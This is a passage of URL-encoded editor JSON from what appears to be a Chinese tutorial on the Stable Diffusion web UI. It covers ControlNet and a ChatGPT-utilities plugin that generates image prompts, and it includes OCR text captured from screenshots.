%22%3A%22CONTROLNET%20UNIT%202%22%7D%2C%7B%22x%22%3A-2%2C%22y%22%3A406%2C%22width%22%3A29%2C%22height%22%3A15%2C%22text%22%3A%22NIT%20O%22%7D%2C%7B%22x%22%3A58%2C%22y%22%3A406%2C%22width%22%3A120%2C%22height%22%3A16%2C%22text%22%3A%22CONTROLNET%20UNIT%201%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A446%2C%22width%22%3A38%2C%22height%22%3A18%2C%22text%22%3A%22%E6%89%B9%E6%AC%A1%22%7D%2C%7B%22x%22%3A1285%2C%22y%22%3A512%2C%22width%22%3A70%2C%22height%22%3A19%2C%22text%22%3A%22%E5%B1%80%E9%83%A8%E9%87%8D%E7%BB%99%22%7D%2C%7B%22x%22%3A1157%2C%22y%22%3A512%2C%22width%22%3A51%2C%22height%22%3A18%2C%22text%22%3A%22%E5%9B%BD%E7%94%9F%E5%9B%BD%22%7D%2C%7B%22x%22%3A884%2C%22y%22%3A512%2C%22width%22%3A34%2C%22height%22%3A18%2C%22text%22%3A%22%E5%82%A8%E5%AD%98%22%7D%2C%7B%22x%22%3A1024%2C%22y%22%3A513%2C%22width%22%3A26%2C%22height%22%3A17%2C%22text%22%3A%22ZIP%22%7D%2C%7B%22x%22%3A703%2C%22y%22%3A561%2C%22width%22%3A729%2C%22height%22%3A17%2C%22text%22%3A%22BESTQUALITY%2C(INTRICATE%20DETALS%3BL.)%2CHYPER%20DETAIL%2CFINELY%20DETAIL%2CCOLORFULFACE%20PATCH%20LOSE-UP%2CUP%2CFILM%20GRAIN%22%7D%2C%7B%22x%22%3A705%2C%22y%22%3A583%2C%22width%22%3A727%2C%22height%22%3A17%2C%22text%22%3A%22(FUITILM%20XT3)(DETAILED%20SKIR-1.2)-ULTRA%20HIGH%20RESTQUALISTQUALISTQ%2CIN%20THE%20DEEP%20SHADOW%20JOW%20HEY(REALISTO%2CR%22%7D%2C%7B%22x%22%3A239%2C%22y%22%3A592%2C%22width%22%3A87%2C%22height%22%3A16%2C%22text%22%3A%22START%20DRAWING%22%7D%2C%7B%22x%22%3A705%2C%22y%22%3A606%2C%22width%22%3A487%2C%22height%22%3A16%2C%22text%22%3A%22%3CLORA%3AGINI%2CS2%3A0.66%3E%2CGINI%2CA%20GIRL%2COFFICE%2CSIT%20ON%20THE%20CHAIR%2CCAREER%20SUIT%2CSKINNY%20PENCIL%20SKIRT%2C%22%7D%2C%7B%22x%22%3A703%2C%22y%22%3A651%2C%22width%22%3A725%2C%22height%22%3A19%2C%22text%22%3A%22NEGATIVE%20PROMPT(BAD%20HANDSZ)%2CZ5%2CPAINGS%2CSKETCHEGATIVE%2CNG%2CDEEPNEGATIVE.V)%2C%2075TPAINTINGS%2CSKETCHES%2C%20(LOY%22%7D%2C%7B%22x%22%3A703%2C%22y%22%3A676%2C%22width%22%3A111%2C%22height%22%3A16%2C%22text%22%3A%22(NORMAL%20QUALITY%3A2)%2C%22%7D%2C%7B%22x%22%3A703%2C%22y%22%3A722%2C%22width%22%3A723%2C%22height%22%3A15%2C%22text%22%3A%22STEP5%3A34%2CSAMPLER%20%20EULER%20A%2CCF6%20SCALE%3A7%2CSEED%3B2729335361%2C5523%3A5133808%2CMODEL-%20CHLLOUTMLR%2CNIPRUNEDFB%2CSKIP%3B%22%7D%5D%2C%22search%22%3A%22%E5%8F%96%E6%A0%B7%E6%AD%A5%E9%AA%A4%2034%20%E9%AB%98%E8%A7%A3%E6%9E%90%E5%BA%A6%E4%BF%AE%E6%AD%A3%20%E5%8F%AF%E5%B9%B3%E9%93%BA%20E(HIRES%2C%20FIX)%20%E4%BA%A7%E7%94%9F%E6%89%B9%E6%AC%A1%201%20512%2011%20%E6%AF%8F%E6%89%B9%E6%95%B0%E9%87%8F%201%20808%207%20210%20CONTROLNET%20UNIT%202%20NIT%20O%20CONTROLNET%20UNIT%201%20%E6%89%B9%E6%AC%A1%20%E5%B1%80%E9%83%A8%E9%87%8D%E7%BB%99%20%E5%9B%BD%E7%94%9F%E5%9B%BD%20%E5%82%A8%E5%AD%98%20ZIP%20BESTQUALITY%2C(INTRICATE%20DETALS%3BL.)%2CHYPER%20DETAIL%2CFINELY%20DETAIL%2CCOLORFULFACE%20PATCH%20LOSE-UP%2CUP%2CFILM%20GRAIN%20(FUITILM%20XT3)(DETAILED%20SKIR-1.2)-ULTRA%20HIGH%20RESTQUALISTQUALISTQ%2CIN%20THE%20DEEP%20SHADOW%20JOW%20HEY(REALISTO%2CR%20START%20DRAWING%20%3CLORA%3AGINI%2CS2%3A0.66%3E%2CGINI%2CA%20GIRL%2COFFICE%2CSIT%20ON%20THE%20CHAIR%2CCAREER%20SUIT%2CSKINNY%20PENCIL%20SKIRT%2C%20NEGATIVE%20PROMPT(BAD%20HANDSZ)%2CZ5%2CPAINGS%2CSKETCHEGATIVE%2CNG%2CDEEPNEGATIVE.V)%2C%2075TPAINTINGS%2CSKETCHES%2C%20(LOY%20(NORMAL%20QUALITY%3A2)%2C%20STEP5%3A34%2CSAMPLER%20%20EULER%20A%2CCF6%20SCALE%3A7%2CSEED%3B2729335361%2C5523%3A5133808%2CMODEL-%20CHLLOUTMLR%2CNIPRUNEDFB%2CSKIP%3B%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23141924%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u99bf806e%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ubd68a74f%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%BD%93%E7%84%B6%E8%BF%99%E9%87%8C%E8%BF%99%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84%E9%AA%A8%E9%AA%BC%E7%BB%91%E5%AE%9A%E8%BF%98%E6%98%AF%E6%AF%94%E8%BE%83%E7%AE%80%E5%8D%95%E7%9A%84%E4%B8%80%E7%A7%8D%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6cc72b70%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E9%85%8D%E5%90%88%E9%80%82%E5%BD%93%E7%9A%84ControlNet%E6%8F%92%E4%BB%B6%E4%BD%A0%E8%BF%98%E5%8F%AF%E4%BB%A5%E5%81%9A%E5%88%B0%E7%BA%BF%E7%A8%BF%E6%88%90%E5%9B%BE%E3%80%81%E8%89%B2%E5%9D%97%E6%88%90%E5%9B%BE%E7%AD%89%E7%AD%89%E7%B1%BB%E4%BC%BC%E7%9A%84%E6%93%8D%E4%BD%9C%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ANfkq%22%2C%22name%22%3A%22h2%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u33ba880d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22ChatGPT%E5%85%B3%E9%94%AE%E5%AD%97%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u257505fd%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u1d110a61%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%85%B6%E5%AE%9E%E6%88%91%E8%A7%89%E5%BE%97Stable%20diffusion%E9%87%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uce69da6b%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E6%9C%80%E4%B8%8D%E5%AE%9E%E7%94%A8%E7%9A%84%E5%85%B3%E9%94%AE%E7%82%B9%E5%B0%B1%E6%98%AF%E6%AD%A3%E5%90%91%E5%92%8C%E8%B4%9F%E5%90%91%E5%85%B3%E9%94%AE%E5%AD%97%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u056b3192%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E5%85%B3%E9%94%AE%E5%AD%97%E7%B3%BB%E7%BB%9F%E6%9C%AC%E8%BA%AB%E7%9B%B8%E5%BD%93%E5%A4%8D%E6%9D%82%E8%80%8C%E4%B8%94%E8%BF%98%E5%8F%AA%E8%83%BD%E8%AF%86%E5%88%AB%E8%8B%B1%E8%AF%AD%EF%BC%8C%E5%B9%B6%E4%B8%94%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ua384c04f%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E9%87%8C%E9%9D%A2%E7%9A%84%E4%BC%98%E5%85%88%E7%BA%A7%E9%97%AE%E9%A2%98%E5%92%8C%E7%AB%9E%E4%BA%89%E9%97%AE%E9%A2%98%E7%9B%B8%E5%BD%93%E5%A4%8D%E6%9D%82%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6a0b9e0a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E5%AF%B9%E4%BA%8E%E4%BD%BF%E7%94%A8%E8%80%85%E6%9D%A5%E8%AF%B4%EF%BC%8C%E8%BF%99%E7%82%B9%E5%B0%B1%E6%98%AF%E4%B8%80%E4%B8%AA%E7%9B%B8%E5%BD%93%E5%A4%A7%E7%9A%84%E9%97%A8%E6%A7%9B%E3%80%82%E5%8F%8D%E4%B9%8B%E5%9C%A8%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u96dc642b%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22midjounry%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u251113b6%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%B8%AD%E8%BF%99%E6%96%B9%E9%9D%A2%E5%B0%B1%E5%81%9A%E7%9A%84%E9%9D%9E%E5%B8%B8%E5%A5%BD%EF%BC%8C%E4%BD%A0%E5%8F%AF%E4%BB%A5%E7%94%A8%E4%B8%AD%E6%96%87%E6%8F%8F%E8%BF%B0%E5%9C%BA%E6%99%AF%E5%9C%A8%E9%80%90%E6%AD%A5%E4%BC%98%E5%8C%96%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ucbf16563%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u3cb334ce%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E8%80%8C%E7%8E%B0%E5%9C%A8%EF%BC%8C%E4%BD%A0%E5%8F%AF%E4%BB%A5%E7%94%A8%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84ChatGPT%E6%8F%92%E4%BB%B6%E6%9D%A5%E5%AE%9E%E7%8E%B0%E7%B1%BB%E4%BC%BC%E7%9A%84%E5%8A%9F%E8%83%BD%EF%BC%8C%E5%9C%A8%E9%85%8D%E7%BD%AE%E4%B8%8Achatgpt%E7%9A%84api%E4%B9%8B%E5%90%8E%E4%BD%A0%E5%B0%B1%E5%8F%AF%E4%BB%A5%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue88aed91%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E7%94%A8GPT3.5%E6%9D%A5%E8%A7%A3%E6%9E%84%E5%92%8C%E6%9E%84%E9%80%A0%E5%85%B3%E9%94%AE%E5%AD%97%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ubbe143f6%22%2C%22name%22%3A%22uli%22%2C%22attrs%22%3A%7B%22indexStyle%22%3A%7B%7D%2C%22list%22%3A%22u24904bcf%22%2C%22fid%22%3A%22u98521665%22%2C%22indexType%22%3A0%2C%22parentIndex%22%3A%5B%5D%2C%22index%22%3A0%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u4a4b6e6d%22%2C%22name%22%3A%22link%22%2C%22attrs%22%3A%7B%22src%22%3A%22https%3A%2F%2Fgithub.com%2Fhallatore%2Fstable-diffusion-webui-chatgpt-utilities%22%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u11d70fc0%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22https%3A%2F%2Fgithub.com%2Fhallatore%2Fstable-diffusion-webui-chatgpt-utilities%22%7D%5D%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u7bea05b2%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud173bf9f%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E6%88%90%E5%8A%9F%E5%AE%89%E8%A3%85%E4%B9%8B%E5%90%8E%EF%BC%8C%E5%8F%AF%E4%BB%A5%E5%9C%A8%E8%AE%BE%E7%BD%AE%E9%87%8C%E6%89%BE%E5%88%B0ChatGPT%20Utilities%EF%BC%8C%E7%82%B9%E5%BC%80%E5%B9%B6%E9%85%8D%E7%BD%AEChatgpt%20%E7%9A%84apikey%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ua8ee7de8%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22ue1447dd8%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1685697277772-9bdf3d1e-f2b9-4b2f-a890-c07e45c06e3f.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1111%2C%22height%22%3A702%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A32693%2C%22width%22%3A1009.9999781088401%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u1f0be049-df8b-4602-83ae-de4c765140a%22%2C%22clientId%22%3A%22u20e6ee8e-ea5a-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A17%2C%22y%22%3A35%2C%22width%22%3A110%2C%22height%22%3A18%2C%22text%22%3A%22%E5%82%A8%E5%AD%98%E5%9C%86%E5%83%8F%2F%E5%AE%AB%E6%A0%BC%22%7D%2C%7B%22x%22%3A154%2C%22y%22%3A41%2C%22width%22%3A90%2C%22height%22%3A15%2C%22text%22%3A%22OPENAI%20API%20KEY%22%7D%2C%7B%22x%22%3A18%2C%22y%22%3A60%2C%22width%22%3A17%2C%22height%22%3A16%2C%22text%22%3A%22%E5%9C%86%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A90%2C%22width%22%3A66%2C%22height%22%3A18%2C%22text%22%3A%22%E5%82%A8%E5%AD%98%E8%B7%AF%E5%BE%84%22%7D%2C%7B%22x%22%3A18%2C%22y%22%3A122%2C%22width%22%3A82%2C%22height%22%3A18%2C%22text%22%3A%22%E5%82%A8%E5%AD%98%E5%88%B0%E7%9B%AE%E7%BC%98%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A152%2C%22width%22%3A34%2C%22height%22%3A19%2C%22text%22%3A%22%E6%94%BE%E5%A4%A7%22%7D%2C%7B%22x%22%3A18%2C%22y%22%3A184%2C%22width%22%3A66%2C%22height%22%3A18%2C%22text%22%3A%22%E9%9D%A2%E9%83%A8%E4%BF%AE%E5%A4%8D%22%7D%2C%7B%22x%22%3A18%2C%22y%22%3A215%2C%22width%22%3A34%2C%22height%22%3A19%2C%22text%22%3A%22%E7%B3%BB%E7%BB%9F%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A246%2C%22width%22%3A34%2C%22height%22%3A17%2C%22text%22%3A%22%E8%AE%AD%E7%BB%83%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A278%2C%22width%22%3A108%2C%22height%22%3A15%2C%22text%22%3A%22STABLE%20DIFFUSION%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A308%2C%22width%22%3A50%2C%22height%22%3A17%2C%22text%22%3A%22%E7%9B%B8%E5%AE%B9%E6%80%A7%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A338%2C%22width%22%3A99%2C%22height%22%3A19%2C%22text%22%3A%22%E5%8F%8D%E6%8E%A8%E6%8F%90%E7%A4%BA%E8%AF%8D%E5%B7%A1%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A362%2C%22width%22%3A19%2C%22height%22%3A17%2C%22text%22%3A%22%E9%A1%B9%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A392%2C%22width%22%3A66%2C%22height%22%3A19%2C%22text%22%3A%22%E9%A2%9D%E5%A4%96%E7%BD%91%E8%B7%AF%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A424%2C%22width%22%3A82%2C%22height%22%3A19%2C%22text%22%3A%22%E4%BD%BF%E7%94%A8%E8%80%85%E4%BB%8B%E9%9D%A2%22%7D%2C%7B%22x%22%3A16%2C%22y%22%3A457%2C%22width%22%3A55%2C%22height%22%3A16%2C%22text%22%3A%22INFOTEXT%22%7D%2C%7B%22x%22%3A18%2C%22y%22%3A488%2C%22width%22%3A65%2C%22height%22%3A17%2C%22text%22%3A%22%E5%8D%B3%E6%97%B6%E9%A2%84%E8%A7%88%22%7D%2C%7B%22x%22%3A18%2C%22y%22%3A518%2C%22width%22%3A81%2C%22height%22%3A17%2C%22text%22%3A%22%E5%8F%96%E6%A3%A3%E5%99%A8%E5%8F%82%E6%95%B0%22%7D%2C%7B%22x%22%3A19%2C%22y%22%3A549%2C%22width%22%3A48%2C%22height%22%3A16%2C%22text%22%3A%22%E5%90%8E%E5%A4%84%E7%90%86%22%7D%2C%7B%22x%22%3A18%2C%22y%22%3A579%2C%22width%22%3A97%2C%22height%22%3A17%2C%22text%22%3A%22%E6%A0%87%E8%AE%B0%E8%87%AA%E5%8B%A4%E8%A1%A5%E5%BC%AF%22%7D%2C%7B%22x%22%3A18%2C%22y%22%3A613%2C%22width%22%3A75%2C%22height%22%3A14%2C%22text%22%3A%22CONTROLNET%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A643%2C%22width%22%3A60%2C%22height%22%3A15%2C%22text%22%3A%22CHATGPT%22%7D%2C%7B%22x%22%3A18%2C%22y%22%3A667%2C%22width%22%3A53%2C%22height%22%3A15%2C%22text%22%3A%22UTILITIES%22%7D%5D%2C%22search%22%3A%22%E5%82%A8%E5%AD%98%E5%9C%86%E5%83%8F%2F%E5%AE%AB%E6%A0%BC%20OPENAI%20API%20KEY%20%E5%9C%86%20%E5%82%A8%E5%AD%98%E8%B7%AF%E5%BE%84%20%E5%82%A8%E5%AD%98%E5%88%B0%E7%9B%AE%E7%BC%98%20%E6%94%BE%E5%A4%A7%20%E9%9D%A2%E9%83%A8%E4%BF%AE%E5%A4%8D%20%E7%B3%BB%E7%BB%9F%20%E8%AE%AD%E7%BB%83%20STABLE%20DIFFUSION%20%E7%9B%B8%E5%AE%B9%E6%80%A7%20%E5%8F%8D%E6%8E%A8%E6%8F%90%E7%A4%BA%E8%AF%8D%E5%B7%A1%20%E9%A1%B9%20%E9%A2%9D%E5%A4%96%E7%BD%91%E8%B7%AF%20%E4%BD%BF%E7%94%A8%E8%80%85%E4%BB%8B%E9%9D%A2%20INFOTEXT%20%E5%8D%B3%E6%97%B6%E9%A2%84%E8%A7%88%20%E5%8F%96%E6%A3%A3%E5%99%A8%E5%8F%82%E6%95%B0%20%E5%90%8E%E5%A4%84%E7%90%86%20%E6%A0%87%E8%AE%B0%E8%87%AA%E5%8B%A4%E8%A1%A5%E5%BC%AF%20CONTROLNET%20CHATGPT%20UTILITIES%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%230c111b%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u539001af%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u07d1bca7%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E7%84%B6%E5%90%8E%E5%9C%A8%E5%AF%B9%E5%BA%94%E6%96%87%E7%94%9F%E5%9B%BE%E4%B8%AD%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u40041372%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22script%E4%B8%AD%E9%80%89%E6%8B%A9%E5%AF%B9%E5%BA%94%E7%9A%84ChatGPT%EF%BC%8C%E5%B0%B1%E4%BC%9A%E5%BC%B9%E5%87%BA%E4%BB%A5%E4%B8%8B%E7%9A%84%E9%80%89%E9%A1%B9%E5%8D%A1%EF%BC%8C%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E5%9C%A8%E8%BF%99%E9%87%8C%E8%87%AA%E5%8A%A8%E7%94%9F%E6%88%90prompt.%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uffda7a61%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u59b61caa%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%90%8E%E5%8F%B0%E4%BC%9A%E7%94%A8%E4%BD%A0%E8%AE%BE%E5%AE%9A%E7%9A%84ChatGPT%20apikey%E5%8E%BB%E7%94%9F%E6%88%90%E5%9B%BE%E7%89%87%E7%9A%84prompt%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ufc4f46ff%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u3a349a4e%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1685699392391-a078c405-ffd6-4cdf-b865-4783a7410fbd.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1916%2C%22height%22%3A401%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A52661%2C%22width%22%3A1741.8181440652902%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u3e3a2291-32ba-4a42-aa0f-b3f08710389%22%2C%22clientId%22%3A%22u20e6ee8e-ea5a-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A6%2C%22y%22%3A14%2C%22width%22%3A105%2C%22height%22%3A29%2C%22text%22%3A%22CHATGPT%22%7D%2C%7B%22x%22%3A125%2C%22y%22%3A21%2C%22width%22%3A123%2C%22height%22%3A22%2C%22text%22%3A%22REQUEST%3A%22%7D%2C%7B%22x%22%3A779%2C%22y%22%3A50%2C%22width%22%3A374%2C%22height%22%3A27%2C%22text%22%3A%22EACH%20ANSWER%20AS%20A%20YISUAL%22%7D%2C%7B%22x%22%3A1166%2C%22y%22%3A50%2C%22width%22%3A744%2C%22height%22%3A26%2C%22text%22%3A%22SENTENCE.%20DO%20NOT%20WRITE%20EXPLANATIONS%20ON%20REPLIES.%22%7D%2C%7B%22x%22%3A655%2C%22y%22%3A51%2C%22width%22%3A141%2C%22height%22%3A24%2C%22text%22%3A%22COMPOSE%20E.%22%7D%2C%7B%22x%22%3A27%2C%22y%22%3A52%2C%22width%22%3A257%2C%22height%22%3A24%2C%22text%22%3A%22WANT%20YOU%20TO%20ACT%20A%22%7D%2C%7B%22x%22%3A478%2C%22y%22%3A54%2C%22width%22%3A159%2C%22height%22%3A23%2C%22text%22%3A%22GENERATOR.%22%7D%2C%7B%22x%22%3A271%2C%22y%22%3A54%2C%22width%22%3A195%2C%22height%22%3A23%2C%22text%22%3A%22T%20AS%20A%20PROMPT%22%7D%2C%7B%22x%22%3A692%2C%22y%22%3A82%2C%22width%22%3A1196%2C%22height%22%3A28%2C%22text%22%3A%22AYS%20WITH%20A%20SINGLE%20STRING%20PER%20ANSWER.%20RETURN%20EXACTLY%204%20TO%20MY%20QUESTION.%20ANSWER%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A83%2C%22width%22%3A785%2C%22height%22%3A29%2C%22text%22%3A%22FORMAT%20THE%20ANSWERS%20AS%20JAVASERIPT%20JSON%20ARRAYS%20WITH%22%7D%2C%7B%22x%22%3A2%2C%22y%22%3A112%2C%22width%22%3A830%2C%22height%22%3A33%2C%22text%22%3A%22HE%20QUESTIONS%20EXACTLY.%20ANSWER%20THE%20FOLLOWING%20QUESTION%3A%22%7D%2C%7B%22x%22%3A5%2C%22y%22%3A145%2C%22width%22%3A320%2C%22height%22%3A31%2C%22text%22%3A%22%E7%A9%BF%E7%9D%80%E6%A0%A1%E6%9C%8D%E7%B2%89%E8%89%B2%E5%A4%B4%E5%8F%91%E5%A5%B3%E7%94%9F%22%7D%2C%7B%22x%22%3A6%2C%22y%22%3A215%2C%22width%22%3A117%2C%22height%22%3A24%2C%22text%22%3A%22PROMPTS%3A%22%7D%2C%7B%22x%22%3A-2%2C%22y%22%3A246%2C%22width%22%3A549%2C%22height%22%3A29%2C%22text%22%3A%22SMILING%20SCHOOL%20GIRL%20WITH%20PINK%20HAIR%22%7D%2C%7B%22x%22%3A0%2C%22y%22%3A280%2C%22width%22%3A531%2C%22height%22%3A29%2C%22text%22%3A%22CONFIDENT%20STUDENT%20WITH%20PINK%20LOCKS%22%7D%2C%7B%22x%22%3A6%2C%22y%22%3A316%2C%22width%22%3A702%2C%22height%22%3A25%2C%22text%22%3A%22ACADEMIC%20ACHIEVER%20WITH%20PINK%20HAIR%20AND%20UNIFORM%22%7D%2C%7B%22x%22%3A10%2C%22y%22%3A348%2C%22width%22%3A549%2C%22height%22%3A29%2C%22text%22%3A%22FRESH-FACED%20PINK-HAIRED%20SCHOOL%20GIRL%22%7D%5D%2C%22search%22%3A%22CHATGPT%20REQUEST%3A%20EACH%20ANSWER%20AS%20A%20YISUAL%20SENTENCE.%20DO%20NOT%20WRITE%20EXPLANATIONS%20ON%20REPLIES.%20COMPOSE%20E.%20WANT%20YOU%20TO%20ACT%20A%20GENERATOR.%20T%20AS%20A%20PROMPT%20AYS%20WITH%20A%20SINGLE%20STRING%20PER%20ANSWER.%20RETURN%20EXACTLY%204%20TO%20MY%20QUESTION.%20ANSWER%20FORMAT%20THE%20ANSWERS%20AS%20JAVASERIPT%20JSON%20ARRAYS%20WITH%20HE%20QUESTIONS%20EXACTLY.%20ANSWER%20THE%20FOLLOWING%20QUESTION%3A%20%E7%A9%BF%E7%9D%80%E6%A0%A1%E6%9C%8D%E7%B2%89%E8%89%B2%E5%A4%B4%E5%8F%91%E5%A5%B3%E7%94%9F%20PROMPTS%3A%20SMILING%20SCHOOL%20GIRL%20WITH%20PINK%20HAIR%20CONFIDENT%20STUDENT%20WITH%20PINK%20LOCKS%20ACADEMIC%20ACHIEVER%20WITH%20PINK%20HAIR%20AND%20UNIFORM%20FRESH-FACED%20PINK-HAIRED%20SCHOOL%20GIRL%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23100f0f%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ua4f7a654%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ua87997e2%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E7%84%B6%E5%90%8E%E4%BC%9A%E7%94%9F%E6%88%90%E5%AF%B9%E5%BA%94%E7%9A%84%E5%9B%BE%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uc1f88d4d%22%2C%22name%22%3A%2